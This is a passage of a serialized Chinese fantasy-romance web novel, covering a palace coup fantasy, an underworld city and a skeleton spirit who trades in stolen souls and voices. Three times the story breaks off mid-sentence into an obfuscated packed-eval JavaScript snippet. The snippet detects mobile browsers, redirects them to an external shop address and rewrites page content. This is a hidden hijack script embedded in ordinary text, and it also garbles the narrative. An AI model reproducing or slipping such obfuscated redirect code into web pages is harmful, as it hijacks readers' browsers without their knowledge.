萧知颜抬头,只见半空中停着一位红衫女子,并非每世死前出现送她轮回的白衣男子,她不由得暗想:是她这一生行恶太多,所以要下地狱了? 也好。下地狱便下地狱,和那魔头也好歹能一家四口,好好过个日子。若不是为了报公主知遇之恩,她其实更想过一辈子平淡日子。 那支箭矢在离她半尺之遥处,像撞上一堵无形之墙,停顿在空中,随后原地坠落。 颜笙自空中缓缓落下,立在萧知颜身前,伸手将这位身躯残破的前世从血泊中拉起。 四面八方的流矢纷纷而至,却在她周身三尺外纷纷折断,落了一地。 白玉石阶上的血液迅速干涸,失了活气,渐渐化作狰狞的褐色斑痕。可那条血路的源头,却一点一点站直了身子。 萧知颜握紧插在胸口的箭矢,咬紧银牙,用力将箭拔出,随后抬眼望向颜笙,声音嘶哑却镇定:“可否再给我一刻钟,容我与公主道别?” 颜笙点头,抬手封住她胸口汩汩涌出的血。 * 萧知颜推门而入,穿过层层叠叠的廊道,一路闯入寝殿。 屋内主仆三人皆被白绫勒住脖颈,脸憋得通紫。萧知颜先是一愣,旋即不敢有半刻迟疑,直冲而上。 也不知是哪来的力气,萧知颜本是一介瘦弱女子,竟硬生生撕开比她健硕了两圈的侍卫,把奄奄一息的高宁从白绫下抢了回来。 高宁伏在萧知颜的肩头,大口喘息,空气中血腥气浓得几乎化不开。她朦胧中望见满身伤痕的萧知颜,一声轻咳,两行清泪潸然。 颜笙出手救下两名婢女,将那几位侍卫与黑心阉竖捆成一团。她看了看屋内相拥无言的主仆俩,又想起门外那个亟待收拾的高盛,便悄悄退到门外,将门带上。 寝宫内渐渐静了下来。萧知颜瞧见高宁白皙的脖颈上勒出的红痕,不免怨自己来得终究太迟。 高宁瞥见她眉眼间的愧色,反倒先开口:“那孽障外甥说,你贴身侍奉了魔王三个月,满身魔气,所以才把你除掉。可我怎么也不信,我记得你说,你那三个月在那孽障外甥的府上。” “我那三个月,是在幽冥住着,和魔头住在一起。”萧知颜顿了顿,看向高宁,“别担心,那魔头……相貌还可以。只是我思念公主,所以得回来。” “嗯。”高宁讷讷点头,“那孽侄还说你死了,说你和那魔头前后脚死的,那魔头还变成一棵焦黑的枣树,我是没见过那枣树,可你现在不还活生生站在这儿……” 一滴泪落在凌乱的青丝间。高宁抬头,才发现这泪竟是自萧知颜眼中落下的。 她抬手去碰萧知颜的眼角,又顺势摸到她胸前那道深而外翻的伤口,故作轻松道:“萧中书位极人臣,竟也会被一处伤口疼得落泪,实在不应该。” 萧知颜沉默不语,由着她轻轻碰触伤口。 高宁见她一声不吭,沾着血的指尖停在她心口之上,低声道:“你死后跟谁相守我不管,但你活着就是我的人。上回你说,要带我去兰陵,可还作数?” 萧知颜垂眸望着她,眼神幽暗:“自然作数。” 作数又如何?她带不走她。 她已经死了,她记得自己一次又一次攀上楼梯,又一次次从阶梯尽头跌落。死人哪里可能复活,那魔头都做不到。 就算现在还吊着一口气,她身负重伤,又如何护得住公主?念及此处,她下意识按住胸口的箭伤。 冰凉的指尖触碰伤口,莫名也缓了一缓心尖的痛。她静静等着那颗心慢慢停下。 出乎意料,心脏却仍砰砰跳动,如三年前她还活着时那般,胸口的伤口也一点点愈合。看似是个奇迹。 可奇迹又如何? 外头敌众我寡,他们想冲出重重包围,几乎是不可能的事。 外头兵戈声忽然停了,转而传来一阵急促的敲门声。 高宁扶着萧知颜起身,两人对视一眼,已在心中做好了共赴黄泉的准备。 44. 凤在上(二) 大门从外缓缓推开,颜笙立在门槛外,看着屋内两人的狼狈姿态,提醒道:“萧中书,还不快收拾仪容?前堂诸事仍需你主持。” 萧知颜和高宁皆是愣在原地,尤其是萧知颜,她记忆中的夺命天神竟换了面目,方才还出手护她。 颜笙深知她心中所想,却未作解释。只抬手洒出两道清洁咒光,落在二人身上,便扬袖离去。 高宁最先回神,迈步跨出门槛,紧张向外张望。并无她以为的尸横遍野,只有迟来的援军列阵。 是她的援兵。 而那个素来跋扈的高盛,此刻被五花大绑吊在树梢,禁言咒封住了嗓子,只余满脸怒骂的表情。今早看见她时还趾高气扬,如今不过笑柄。 高宁这才明白颜笙方才之意,“前堂之事”指的正是新皇登基。 高宁并非篡位者,她最初想守护她父母两位皇帝奠定的江山,无论哪个位置。 高宁本无意权柄,只想守住双亲留下的江山。直到萧知颜枉死、孤冢被毁,她才真正动了‘夺位’的念头。若不登顶,何以为她雪恨?何以为她正名? 如今萧知颜竟能死而复生,连皇位也被推回她手中,高宁反倒迟疑了。她轻拽萧知颜的袖角,低声道:“知颜,我……” 萧知颜了解高宁迟疑的原因,忙掀袍跪地,在众人面前率先表明立场: “《尚书》曰,''皇天无亲,惟德是辅’。天鉴公主之德,故降大任,荡涤金庭之祲。国不可一日无君,还请殿下莫违天意,承继大统。” 堂上将士与俘虏齐齐跪下,附和着萧知颜的话,“望公主莫违天意,承继大统。” 高宁轻叹一声。既是萧知颜所愿,她便不再推辞。 “众卿平身。”她抬臂示意,“此事自今日起入议程。本宫定不负所托。” 萧知颜俯首:“殿下放心,前堂的事交由臣来处置。” 当天事变是在未时。 申时的鼓声一响,议事殿聚满窃窃私语的朝臣。花朝公主宫变之事朝中皆有所闻,却因消息封锁,无人知晓结局,众说纷纭。 殿门忽然洞开。萧知颜衣冠整洁,泰然自若地步入殿内,脚步沉稳而有力,震得众臣胸膛砰砰乱跳。而花朝公主那些旧部,也在她的身后纷纷登场。 三年前的“亡魂”竟于今日归来。 满朝文武看到萧知颜时,皆是面如土色,但也不敢吱声,只怕她真召来阴兵索命,只能强颜欢笑。昔日附和高盛、甚至参与谋害她的朝臣,当场口吐白沫。 高宁是最后入殿,她坐上龙椅,俯瞰群臣众生相。朝中多半是她亲自拔擢的朝臣,虽有仍对女子心存偏见的,却无不俯首称臣。 高盛被押至殿前,禁言咒未解,只能瞪向那些曾被他笼络的官员。 可他青睐的这帮朝臣多只是巧言令色之辈,平素没什么义气,也没被他养出什么义气,见势只把头扭到一边,心里还巴不得把他眼珠子掏出来。 萧知颜当堂陈列高盛罪状数十条,终以一句“高盛悔悟,愿传位于高宁”作结。众人心知肚明,不过给新皇递个台阶。 殿内,群臣跪呼“万岁”。殿外,颜笙躺在云朵里,看着皇宫的碧瓦朱檐渐渐褪色。 所有的一切场景仿若梦一般隐退。 这只是高宁的幻想,也是她怨气的根源。 颜笙揉了揉发酸的眼,再睁眼时已回到树中世界,手中仍握着那支折翼凤钗。 轮回转世,不过是在扮演着天道写好的剧本,当她是戏中人时,她看着一切如雾里看花。再经此梦,她心中对天道旧怨亦淡了几分。能给曾经的自己补一段结局,便算偿还。 关于那日在幻境中吻她的人,是陆归年、陆析、沈华裳或陆贺年?她已无心深究,不过一桩不值得计较的小事。 * 为期十五日的休沐转瞬即逝。颜笙从显熠宫出关,着手交接百花仙子的事务。百花宫因花影退位空悬,但蝉鸣宴筹备妥当,她这才放心离开。 回到桃源后,她仍心绪不宁,在路上时候也时常拿出那支折翼凤钗,摸索着那折断之处。 颜笙正出神,忽觉指尖一空,那支凤钗已落入另一只温凉如玉的手中。颜笙抬头,恍如旧梦重回——高宁的灵魂自沈华裳脱离后,竟已飞升为百花宫花仙。 高宁捧着凤钗细看,低叹:“原来你也未回兰陵。” 颜笙回道:“替公主寻钗而已。物归原主。” 高宁却踮脚,将凤钗插入她鬓间:“这本就是你的。当年你死后,那魔头带着一仆入宫寻你,他随身带着此钗。后来钦天监将他们困入火局,火海吞噬一切,唯此钗无损。” 颜笙触及凤钗,才知这支钗为仙物,所以才能容纳三枚灵魂,但陆贺年……真的死在那场劫火里?而那个仆人,应该是张脆枣。 法力低微的仆人活下来,而法力高强的主人死了。 她总觉得很多事有点奇怪。 那日高宁还完钗子,便离开了。她们两人重逢后,也没有谁追忆往事,仿佛昨日的一切都已化为落红残叶,只能随风散去。 * 花朝节后,各仙归位。颜笙闭关数日,出关后极少再下凡。沈华裳留在来福村,陆析返回抱朴派。 子幽和南歌子见了一面,不出意外两人不欢而散。南歌子回到来福村做地仙,毕竟这村庄风景宜人。 至于鸽子山陨石坑,崔巍命工部悄悄填平。崔攸宁断袖的传言却因那次风波愈传愈烈,谴责他联合他爹强逼颜笙为同妻的舆论四起。 崔巍气得直跺脚,私下教训了不少多嘴的仙人 但他惹不起颜笙,只把火撒在显熠宫新人元沁雪身上,将她贬去凡庙百年。 崔巍给元沁雪提供不少凡庙选择,皆是崔氏仙庙。他这么做其实是为了拉拢袁思邈,顺便淡化元沁雪和颜笙的联系。 崔氏仙庙中有一座“沉思庙”,坐落在青口派山下,正是崔攸霁的庙。元沁雪毫不犹豫选了那里。 青口派以炼丹闻名。青口精愿望多与炼丹有关。元沁雪父亲袁思邈是丹修,倒也乐得元沁雪在凡间补习炼丹知识。 只是,元沁雪无心炼丹,自花朝节后便害起相思病。 她凭娘亲遗留下的法宝,认出那日救她的男子真实身份是陆贺年。更知他是陀铃火渊里的谪仙。 不过元沁雪只想完成娘亲的嘱托,让这位她相中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17120981|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男子为她生育后代,从未考虑过和他相处,所以不在乎身份地位。 她悄悄起卦,占算她和陆贺年之间的姻缘,没料到全是六冲,全表示陆贺年厌恶她。这打击不到她。她反复地摇卦,直到摇出六合大吉卦才罢手。 元沁雪信心倍增,心说这可真是一桩天赐良缘,便着手筹谋炼制催情丹、男孕丹之类的上古秘方。 她的一举一动,崔攸霁通过庙中神像,全都看在眼里。 崔攸霁自然记得陆贺年。 别看崔攸霁天天悼念亡妻,实际上他并非姚蜚声的正夫,仅是高一阶的近倖。姚蜚声后宫佳丽三千,夫位始终空悬。 某次姚蜚声喝多了,曾言:“幽冥法力最强当属陆贺年。若能招为夫君,幽冥将永享太平。可惜是痴情种,只为鲶鱼精家里那哑巴守节,从未给我好脸色。” 上次在花朝庆典上,他瞧见了陆贺年,而且似乎和崔瑶有往来。这使得他不禁怀疑,姚蜚声或许真没有死?甚至可能已与陆贺年双宿双栖? 当夜,崔攸霁难得阔气地赠予崔瑶一块鱼形玉佩。 崔瑶捏着玉佩端详半晌,又举到灯下看了看,越看越觉得奇怪:“还挺通透的。爹你平时这么小气,今日怎么舍得拿名贵玉料给我做玉佩?” “爹平日里哪有小气?”崔攸霁看向崔瑶。 崔瑶点点头,补充道:“超小气。上次还骗我买招魂伞。” “钱不是都让你师父要回去了吗?再提有什么意思。”崔攸霁毫无愧色地笑,崔瑶在心里学着颜笙的模样翻了个白眼。 崔攸霁视线转回那玉佩,笑嘻嘻道:“这是双鱼玉佩,你一半,我一半。若你在幽冥遇到危险,我们父女可借玉佩联络。” 崔瑶十分受用,难得见父亲大方一次,便将玉佩随手系在腰间,转身回幽冥去了。 借着玉佩,崔攸霁的神识也顺势被送入幽冥。 他探出玉佩,瞧见了幽冥城入口处的那株枣树。他忽忆起颜笙提过,在幽冥照顾崔瑶的,是个体弱多病的枣精,长年因风寒而卧病不起,害得崔瑶时常要回去照顾。 不对啊,幽冥以玄鸟族幽魂为主,能化形的枣精唯有一位张脆枣,是陆贺年的仆人。但张脆枣两三千年前就被人族设计诱杀了。 那么此时从幽冥走出来,迎接崔瑶的白发老叟是谁? 老叟眯起他辨识度极高的瑞凤眼,随手摘下了覆盖半张面孔的长眉和长须,露出一张年轻俊美的面孔。 崔攸霁心中一震: 陆贺年? 那男子他见过几面。他虽有些忘了他的长相,却对那双瑞凤眼记忆犹新。 崔瑶的“养父”根本不是什么枣精,而是陆贺年。 陆贺年尚未开口,崔瑶先皱眉开问:“你最近怎么招惹到元沁雪了?” 陆贺年愣了半晌,才想起那个名字:“……是那个孤女?你义母新招的神使?那天你们都不在,我只与她说了两句话,总共不超过二十个字。” 崔瑶拍了拍脑门,感觉头疼:“但是现在,元沁雪想当我娘。我可不希望我娘比我还小。” 陆贺年讶然,“她和崔攸霁?眼光不至于差到这地步吧。” 45. 快乐牛马 陆贺年话音落下,崔瑶腰间的鱼形玉佩轻轻晃动,似乎因某句话而不悦。 崔瑶却毫无察觉,自顾自地说:“义父……这怎么听着,像是在说您呢? 陆贺年沉默。 “啊?”崔瑶怔了怔,“元沁雪喜欢的人是义父您啊?您不说话到底什么意思?难不成您对义母变心了?” “没这回事。”陆贺年只要提到颜笙,反应便明显不同。他轻声道:“我对颜儿的心意永不更改。至于你说的那姑娘,不过是谣言。我为何要理会?” 崔瑶嘀咕:“可……崔老抠他亲眼所见。” “崔六是你亲爹,换个称呼。”陆贺年皱眉,又训她一次。 崔老抠正是崔攸霁。崔瑶刚飞升那阵,被她亲爹坑过不少灵石,幸好陆贺年给钱填窟窿,或是颜笙替她讨回来。为了报复,她背地里给亲爹起了这个外号。 崔瑶继续道:“义父,我们确实亲眼看到她在炼催情丹和男孕丹。您还是提防为好。” “莫要再提。”陆贺年摆手,“这等谣言只会害了姑娘,影响她寻觅仙侣。” 他转开话题:“枣花酥昨晚做好了,你稍后替我送些给颜儿。” 崔瑶走近花摊,随手捏起一朵凝烟白蝉花。 白蝉花忽然朝陆贺年怒吼一声,用的竟是颜笙的声音: “别装傻。” 陆贺年被吓得一哆嗦,忙整理衣带和仪容,然后紧张地环顾左右。颜笙并不在这周围,眼前只有气鼓鼓瞪着他的崔瑶。 崔瑶放下白蝉花,道:“知道您心善,总爱给人一个家。可橙哥哥是您亲生的,丢了几千年才找到,您还不准他回来。您也该把关心和宽容,多分给自己的孩子一点。” “他是男子,也有一万多岁,放养也不会如何。”陆贺年说起陆成时脸色一黑,从袖中掏出一把灵石塞给她:“知道你们从小感情好。拿着钱去青口派买两颗延寿丹,给他送过去。剩下的灵石你拿着。” “橙哥哥自那桩事后,心智退化成孩童,凭靠自己生存不下来。”崔瑶收下灵石,看陆贺年仍钢铁心肠的模样,“好好好,再这样下去,早晚哪天被陆归年偷家了。” 她赌气似的扭头离开,去了前面的鸣蝉阁,拜祭她生母姚蜚声。陆贺年跟着崔瑶身后,也一同进了庙。 * 两人走出庙后,陆贺年忽然道:“今日有件要事与您说。” 崔瑶不解,只得跟着他回到幽冥城主的堡垒。 他们的堡垒,就是幽冥外枣树前的简陋茅草屋,门口满是杂草。陆贺年挥袖,转头茅草屋变成了一座巍峨宫殿。 宫殿青龙位是陆贺年的书房,他在此处理幽冥城的大事小务:店铺租金、学堂修建、环境规划、治安巡察。 幽冥城效法奉天城制度,尽管地上的混沌界在一万三千年间礼崩乐坏无数次,人族都已经灭绝,但地下的幽冥城里的制度未曾有过大改。 陆贺年从桌角取过一份公文,递给崔瑶。 崔瑶翻看后皱眉:“无常界的花否?她申请入驻幽冥?” 花否是无常界知名灰色人物,她在牛马城郊外开“有常屋”,无常界的灵魂,都能抵押自己的东西进行交易,以实现一桩心愿。 但东西往往是他们身体部件,很多灵魂实现愿望后却悔恨终身。 因店铺位置近牛马城,受害最多的是巨门区域的牛马居民。影子城主马大隆带头起事,将花否驱到幽冥荒地。 崔瑶得出结论:“义父不愿她来吧?” “自然。”陆贺年道,“幽冥城只容许正经经营,她这太邪性了。” 崔瑶点头,连义父这个修邪道的,都觉得花否的铺子邪性,可想而知是有多邪性。但她又道:“义父是想说,可按城规,她是玄鸟后裔,又有资金,不需贷款开张……完全符合母亲定下的入驻法则,您不便拦。” “若真只是这样,倒也好说。”陆贺年微叹:“你娘曾与她交好。还许诺她,若她日后有难,幽冥城必为她敞门。我们拦不得。” 崔瑶顿时不满:“她一句话您就信?元沁雪那件事您不也……?” 陆贺年轻轻摇头:“这次非信不可。你且随我来。” * 两人抵达牛马城郊外的有常当铺,花否正在门口给凝烟白蝉花浇水。那凝烟白蝉花一见到陆贺年,突然兴奋起来,以子颜的声音高喊: “有贵客到——” 陆贺年听到这声音,眉心紧锁。 颜笙现今的声音并非子颜原声。他曾在三界寻过,只为找回子颜真正的声音,可惜没多久他遭遇凡人高盛设计,在那之后张脆枣身死,而他身受重伤,原计划搁置至今。 花否抬头,瞧见迎面走来崔瑶和陆贺年,立刻躬身行礼。她举止谦逊温和,身穿着淡白色衫子,面上只施了淡妆,清秀的面容极为和善,和所有人想象的不同。 崔瑶走近两步看她,越看越不对劲,猛然瞪大双眼。 花否的脸,与姚蜚声如同一个模子刻出来的。但姚蜚声总爱穿一袭玄色衫子,抹着浓重妖异的妆,而花否脸上只有淡淡的妆。 但那张脸,她绝不会认错。 陆贺年看向崔瑶,“现在知晓我为何发愁。” 崔瑶更迷惑:“我长得不像我娘,她怎么会像?我小爹虽多,但我娘就我一个女儿。” 陆贺年解释:“花否是骨头精。皮囊是借来的。她并非你娘的女儿,还比你娘大几岁。” 花否见二人久站门口,便含笑招呼:“若不嫌弃简陋,请进屋一叙。”她的声音温柔而不失大气,声音传得很远。 走在路上,崔瑶仍在发蒙:“她的声音不像我娘,可长得太像了。” 陆贺年道:“她的声音,才是颜笙真正的声音。现在颜笙的声音,则是你娘的声音。先前颜笙还是萧知颜的时候,我问过她,她也完全不知情,只说一出生嗓子便是如此。” 崔瑶皱眉:“义母转世成萧知颜时,就已经变声了?她最早变声是什么时候?” “不清楚。”陆贺年声音低沉,“最后一次听到子颜的嗓音,是在我弑神之前。你娘姚蜚声的声音……我记不大清。” 崔瑶叹气:问他也是白问。这个人眼里只有子颜及其转世,其她女子能记住个名字声音就算不错了。 花否殷勤询问入驻事宜。 最后陆贺年与崔瑶商议: —花否若入幽冥城,只能居住,不得经营; —若想经营,则只能在幽冥郊外落脚,不得进入城内居住。 花否选了后者。陆贺年带来契约,让她签字。 两人想先稳住花否,再回头调查与姚蜚声有关的因果。 事后,花否又卜了一卦,说三个月内皆为“大凶出行”,需暂缓迁店,只能暂住原地韬光。在这期间里,牛马城百姓惧怕马大隆报复,几乎无人靠近有常当铺,访客寥寥。 * 牛马城郊外的驿站来了一行旅人。 伙计牛二锅端着木盘跑来,一边喊:“客官,您要的清水——三碗大的,一碗小的。” 颜笙以法力探查清水中的气息,对桌上四人点头示意。四人便端起水碗,啜饮了一口。 牛二锅又问:“您们是往忘川走?那边天寒地冻的,不来点热汤?我家的肉汤最是解乏。” “咚——” 一把沉重的大刀贴着他的小脸飞来,深深插入桌面。 圆胖橘脸色唰地变白,头上两撮牛角辫瞬间耷拉下来。颜笙叹气,揪住他的小辫子,给他随手扎成一个松散发髻,又用方巾裹住。 陆析在旁小声提醒:“宰耕牛,不吉。” 伙夫牛庖丁大步走来,嚷道:“刚才谁要喝牛肉汤!” 隔壁桌的牛马客人们悄悄抬头,指向颜笙他们的桌子:“那只小猫妖。” 牛庖丁大手一挥,揪起正在老实巴交喝水的猫妖金建果,扯着嗓门道:“就你老帮菜的小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128285|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身板,还想吃牛?先让老子吃你!” 牛庖丁说话喷得口水乱飞,金建果被喷到差点没被淹死。 颜笙看不下去,一掌化去牛庖丁的力道,解救了金建果,又把圆胖橘提溜过去:“不好意思,是我家孩童顽劣,胡言乱语。回去我定当好好教训他。” 她说完道歉的话,她压着圆胖橘的头,给牛庖丁深深鞠了一躬。 圆胖橘弱弱道:“对不起……上次来吃饭,她不许我吃肉,我就瞎说,想让大家注意我……对不起……” 牛庖丁一看圆胖橘的脸蛋,跟三五小娃似的,当场气散了八成。 他又横眉对着颜笙,教训道:“小娃正是长身体的年纪,怎能吃素呢?小心贫血。我家邻居的老黄牛就是非吃草饲料,连口蚂蚱都不吃,走得比谁都早。” 他随手叫人端来一碗鸡汤,“咣”地一声砸在桌上,油花溅出来洒到圆胖橘脸上。他又道:“没事多吃点鸡肉。医书上说,鸡肉是温补的,吃多少都没事。” 说完这话,牛庖丁扬长而去。 圆胖橘端起碗喝汤,正想要喝一口压压惊,颜笙却一把按住:“别喝,喝完你就得投胎了。” 同桌的朱柳蛋大惊:“汤里有毒?” 颜笙摇头:“这里是忘川附近的驿站,所有汤水都会引起失忆。牛马今日喝了忘记疲惫,明日继续做牛马。我们不能。” 朱柳蛋喃喃道:“黍掌门还说这里是最安全的地方,我看这里比哪里都危险。” 金建果终于缓过来,自暴自弃道:“我们法力低,真失忆了再筑基也没多大损失。” 朱柳蛋看向陆析:“得留一个不失忆的,不然忘了任务。” 这次五人来幽冥,是黍三刀派遣他们去牛马城处理一桩委托。 委托人马小灵是一只没有尾巴的骏马,曾经是一匹赛马。为治疗好友马蹄莲,她将马尾抵押给花否换药。因失去尾巴,她无法继续赛马,只能退役,到朋友的纺纱厂工作,负责制造马具这块。 他的父亲马大隆是牛马城的巨富,还是城中名人,在城中极富威望。目前经营赛马场,也投资赛马专用马具厂,与纺纱厂本有竞争。 于是马大隆借机造谣:“纺纱厂逼迫马小灵割尾换钱!” 牛马城里不少居民都被煽动,跑到纺纱厂闹事,令工厂濒临停工。 马小灵无奈,只能向抱朴派求助。 此次任务没有任何生命危险,小队里全是关系户。 队伍中有金建成的弟弟金建果,这对兄弟皆是金毛胖猫妖,没什么战斗力,打嘴炮可是翘楚。能来这里是因为这次委托没什么危险。朱柳蛋法力也不高,但胜在她娘麦当然给她补充了充足的财力。 没有任何长老随行。因为—— 花朝节之后,黍三刀和桃源仙人小聚,听说了两桩轶事: 第一桩,颜笙上神差点要嫁的下神,是个断袖。 第二桩,颜笙上神在混沌界有个相好,上次带去了蟾桂宴,后来在来福村里正式把那凡人纳为面首,还带着见了她父母。 “来福村?”黍三刀猛地联想到来福村是鹿不沾负责的任务点,便把鹿不沾叫来。 鹿不沾一听,整张脸绿了:“陆析这小子……平日里瞧着闷声不响,敢情是给颜笙上神当贴身面首了?” 两人凑齐信息一合计,这人还真是陆析。 鹿不沾提到这里,后背吓出一身冷汗:“那鸽子山上的坑,莫不是这两人切磋‘业务’时闹出来的动静?嘶——现在的年轻人……柠檬啊,还好我跑得快……” 黍三刀怕他留下心理阴影,准许鹿不沾在鹤冲山静养。所以这次幽冥之旅,没有长老带队。 朱柳蛋与金建果交换眼神,道:“我们分头探查。” 金建果道:“我在无常界有个亲戚,是马小灵父亲的旧友,后来因为分赃不均闹翻了。我先去找他问问。”说完,他拍拍额头上的金毛,精神抖擞地朝城里走去。 46. 工贼牛马 “盼星星盼月亮盼了不知多少天,总算把两位修士盼来了,真是让人家好等。”花否娇嗔着,明拂衣袖暗抛秋波,甩得颜笙和陆析一身鸡皮疙瘩。 陆析听到这声音皱起眉,躲在颜笙斜后方,俨然面首的模样。 颜笙回头瞧一眼,摸着自己脸上的笑脸面具,憋着笑传音:“哎,你也不必装作视而不见、听而不闻。这娘子清纯的庞儿,温柔的嗓儿,瞧见的人很难不心动。” “这声音不合衬这张脸。”陆析也听出这声音是子颜的。 而且这应该不只是巧合。明媚庄重的声音,却配着一张娇小寡淡的脸,无论从哪个角度看,都缺乏统一性,像是拼凑出来的人物, 陆析自然没什么好脸色。 “姚蜚声的脸,子颜的声音。”颜笙道破真相。 她继续道:“前两天崔攸霁在桃源找我,硬逼着我到这里来调查。说是我的声音被偷了,现在拥着姚蜚声的声音。” 她说完这话,透过面具眼部的两个窟窿悄悄瞥了陆析一眼,也不知他究竟信了几分。 其实这话是假的,崔攸霁那点修为哪能逼迫她做事?他只是告知她有常屋之事。只是崔攸霁提到了张脆枣,他说崔瑶的义父不是张脆枣。 颜笙这段日子对张脆枣的身份愈发怀疑。 其实她早该想到那家伙可能是陆贺年,但通过画卷幻境回到过去的时候,陆贺年还一直谎称自己是张脆枣,这才导致她没有再对他身份起疑。 如今看来,陆贺年实在是太过狡猾。 但假如那个张脆枣是陆贺年的话,她一时半会还真不能考虑作为仙侣,两个弑神者凑在一起,旁的神仙肯定觉得“我们桃源境真的没救了。” 陆析听她拿崔攸霁当理由,就知道是假的。颜笙虽然和他名分上是情侣,但她心底里藏着谁,显而易见。只是她不说出口,他就当不知道。 反正做她俯首帖耳的狗,陆归年做了一万三千年,也不差一个月两个月。 花否看不出这俩人的暗流涌动,一进屋也没把颜笙放在眼里。 颜笙遮着脸,也不怎么说话。花否竟以为她是药材或者灵兽,既未化人形也未开智,自然对她也谈不上多尊重。 至于陆析倒是入了她的眼。他皮囊生得俊朗,看起来是个缺魂的人族,灵力水平也不太高,翻不起什么风浪,皮囊刚好可以拿来用。 花否是骷髅精,一见到好看的皮囊就想据为己有。她本身没有性别,所以这皮囊既可以是女子,也可以是男子。 她倦了姚蜚声的皮囊,在心里打起陆析皮囊的主意,便对陆析亲昵道:“陆修士,来者便是客,我带你进去参观参观。” 花否笑眯眯地挽着陆析的胳膊,谁知她的手被颜笙拍开。 颜笙察觉到花否眼神中不加掩饰的贪婪,身形一晃便插入两人之间,对陆析说道:“你不会以为走桃花运了吧?记清楚你的身份。” 花否摸了摸泛红的手背,眼眶盈满泪水,委屈道:“陆修士,你饲养的灵兽怎么还伤人。” 颜笙忽想起自己刚才的话有歧义,赶忙向陆析传音:“别去。她图的是你的皮囊。” 陆析指尖微动,一道噤声咒便落在了颜笙唇上。她嘴上被施加了噤声咒,任何声音都发不出来,气得她揪住他的衣领,隔着面具瞪他。 陆析顺势按颜笙的背后,把她推入怀里,指尖摩挲着她的头发,好像是在安抚她,以极低的声音道:“你难道不想要回自己的东西吗?” 想是想的,但不想陆析冒险。颜笙心想,但受噤声咒影响,她发不出声音,只能被动接受陆析的好意。 陆析又对花否赔着笑脸,道歉:“这小兽占有欲有些强,还请您见谅。” 花否嘲笑道:“哪有修士这么纵容灵兽的,若是在牛马城,哪有牛马敢对主人有怨言。” 在陆析表示自己的灵兽对新奇的东西感兴趣之后,花否为表热情,主动带着他们去参观有常屋的收藏室。 这里面摆着无数颗笼罩浓重烟雾的水晶球,最里面的一枚水晶球里面的雾气没有那么重。 颜笙感觉里面像是有东西在召唤着她,便好奇地摸向那枚珠子。 花否快一步抢走了那珠子,呵斥道:“哎呀呀呀。我这珠子宝贵着呢,牛马怎么能乱碰。” 陆析问道:“这珠子裂开了。” 花否拿起绢帕,抹泪道:“实不相瞒,去年中秋,冥主崔攸宁和泥菩萨皓然去了蟾桂宴。那可恶的马大隆趁机派人来此,逼我交出马小灵的尾巴。” 花否本想往陆析身上靠,顺便检查一下这皮囊可否有伤疤痘印,却忽觉颜笙的面具窟窿里射出两道寒光,吓得她连忙站直身子。 她继续哭诉:“马小灵的尾巴我早就卖给牛马村的云游画家马凉了,哪还能交出来?马大隆他们一怒之下,便把这里的珠子都砸了。” 陆析感觉这珠子异常熟悉,似乎他的灵魂住过这里,但他搜寻记忆却一无所获,遂开口问道:“这珠子里装的不像是尾巴之类。” 花否摇头,“里面都是客人的灵魂。有些人经历了痛苦的事,想要彻底忘记,就把自己的灵魂当了。上次那群牛马把这里砸了发泄怨气,不少魂魄趁机跑了。那可是我一万多年的心血啊。” 灵魂承载着记忆,失去灵魂也会失去记忆,但失去灵魂所带来的并非是失去记忆这一项副作用,还会导致灵魂修行受阻。 陆析突然想起来,自己脑海中陆归年失而复得的记忆,突然问花否:“假如一个人让另一个人失去记忆,你也会跋山涉水去混沌取走他的灵魂?” 花否笑道:“看她愿意付出多少了。当利益足够大,是人都愿意冒这个险。” 过陆析对这件事没有过多深问,怕打草惊蛇,问完这句以后,便重新绕回马小灵的马尾。 夕阳西下,颜笙和陆析了解完具体情况,便返回牛马村,与圆胖橘等人碰头。 圆胖橘头戴着一只马头面具,举着爪子,兴奋地高喊:“铮铮牛马,再创辉煌。” 他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17131949|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么一闹腾,周围路过身躯肥硕的诸牛马同时回头,纷纷举着牛蹄马蹄,高喊:“再创辉煌。” 颜笙和陆析古怪地对视,转头瞧见金建果也振臂高呼,同样陷入群体性狂热。唯独朱柳蛋巴掌捂着脸,远远地躲着两人。 等成群的牛马走远,颜笙一把撩起圆胖橘的面具,厉声问道:“抽什么风。你一只懒猫抽什么风,跟着人家卖命的牛马喊口号?人家每日做事六个时辰,你打坐一个时辰就犯困。” 朱柳蛋见人群散了,缓缓走近颜笙,告状道:“这俩人没救了,跟着他们亲戚听了马大隆的演讲,立马被洗脑了。现在一整个极端。” 